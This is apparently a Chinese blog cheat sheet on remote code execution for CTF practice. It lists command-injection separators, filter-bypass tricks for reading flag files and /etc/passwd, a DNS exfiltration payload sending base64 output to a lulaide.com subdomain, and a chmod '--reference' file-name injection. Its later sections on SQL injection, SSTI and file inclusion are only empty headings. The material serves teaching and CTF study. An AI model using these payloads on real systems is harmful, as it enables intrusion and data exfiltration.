Featured image of post RCE 常见类型及绕过

RCE 常见类型及绕过

RCE常见攻击点和利用方法

RCE 常见类型及绕过

命令注入(Command Injection)

常见命令连接词:

  • ; (分号): 允许您按顺序执行多个命令。

  • && (与): 仅当第一个命令成功(返回零退出状态)时执行第二个命令。

  • || (或): 仅当第一个命令失败(返回非零退出状态)时执行第二个命令。

  • & (后台执行): 在后台执行命令,允许用户继续使用 shell。

  • | (管道): 将第一个命令的输出作为第二个命令的输入。 常见 Shell 特殊符号:

  • & :

      1. 在后台执行命令,允许用户继续使用 shell。
      1. 特殊文件描述符,如 &1 标准输出。
      1. && 仅当第一个命令成功(返回零退出状态)时执行第二个命令。
  • $ :

      1. 变量替换,例如 echo $HOME
      1. 算术扩展 echo $((1+2))
      1. 命令替换 echo $(cat flag)
      1. ${} 进行高级的参数扩展,如字符串截取、默认值、模式替换等 提供默认值:${var:-default} 字符串长度:${#var} 子串截取:${var:offset:length}
  • ` (反引号): 执行命令并将输出作为结果,例如

1
echo `date`

反引号和$(cmd)都能进行命令替换,shell先会执行和反引号内或括号内的命令,再执行外层命令

命令分隔符绕过

  • %0a
  • %0d

cat 绕过(命令绕过)

  • 使用 echo 读取
1
echo $(<filename)
  • base64
1
base64 flag | base64 -d

例题 Payload:

1
0.0.0.0 && base64 flag_11213284764042.php | base64 -d

命令关键词绕过

使用符号分割命令

1
2
3
4
5
c"a"t f"la"g
ca""t fl""ag
w\ho\am\i
who$()ami
who$@ami

十六进制编码绕过字符过滤

快速转换:

1
echo -n "/etc/passwd" | xxd -p | sed 's/../\\x&/g'
  • echo -e绕过
1
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"

示例

1
cat $(echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")
1
$(echo -e "\x63\x61\x74") flag
  • xxd -r -ps绕过
1
$(xxd -r -ps <(echo 636174)) flag

斜线绕过

  • ${HOME:0:1}
1
cat ${HOME:0:1}etc${HOME:0:1}passwd
  • tr 字符集替换
1
echo . | tr '!-0' '"-1'
1
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

例题 Payload:

1
0.0.0.0 && cat flag_is_here${HOME:0:1}flag_327162425030231.php

空格绕过

  • 使用 ${IFS}
  • 使用 < 输入重定向
  • {cat,/etc/passwd}
  • ls%09-al%09/home 制表符ASCII码
  • 如果能回现报错,就可以使用$(<filename)

例题 Payload:

1
0.0.0.0&&cat${IFS}flag_24157125720131.php
1
0.0.0.0&&cat<flag_24157125720131.php

综合命令注入练习

先把 ls 的结果保存在文件中

1
$(ls>1)

读取 ls 的输出

1
$(base64${IFS}1).lulaide.com

读取目录下的内容

1
2
$(ls${IFS}fla""g_is_here>1)
$(base64${IFS}1).lulaide.com

直接读取 flag

1
$(base64${IFS}f""lag_is_here${HOME:0:1}fl""ag_123591964811506.php).lulaide.com

命令行参数注入

命令行的一些概念:

  • 选项 通常以短横线(-)或双横线(–)开头,如 -l、–help。
  • 参数 不带 - 前缀的字符串,或者也包含在选项中作为参数(例如 -f filename 中的 filename)。

例题

来源 -> x3ctf writeup 所有上传的文件都会被修改权限为所有用户不可读(root除外)

    1. 上传 .txt 文件,此文件不在 * 内,不会被修改权限
    1. 上传 --reference=.txt 文件 ,把 flag.txt 的权限修改为与 .txt 相同的可读权限

代码注入(Code Injection)

SQL注入

eval()

服务器端模板注入(SSTI)

SSTI注入

反序列化漏洞

文件包含漏洞(LFI/RFI)

本地文件包含

远程文件包含

    1. data:// 伪协议

    例题

    1. php://input